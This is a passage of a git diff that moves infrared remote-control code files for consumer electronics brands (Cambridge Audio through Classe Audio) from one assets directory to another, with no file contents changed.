Audio/Unknown_Audio/192,192.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Canon/Video Projector/129,6.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Amplifier/135,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/135,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/42,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/60,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/CD Player/99,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Laser Disc/102,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/12,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/135,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Receiver/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/135,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/16,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/17,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Carver/Tuner/20,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Master/Satellite/132,99.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Cisco/DVR/35,64.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citation/Surround Processor/132,66.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Amplifier/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/134,97.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Classe Audio/CD Player/20,-1.ir 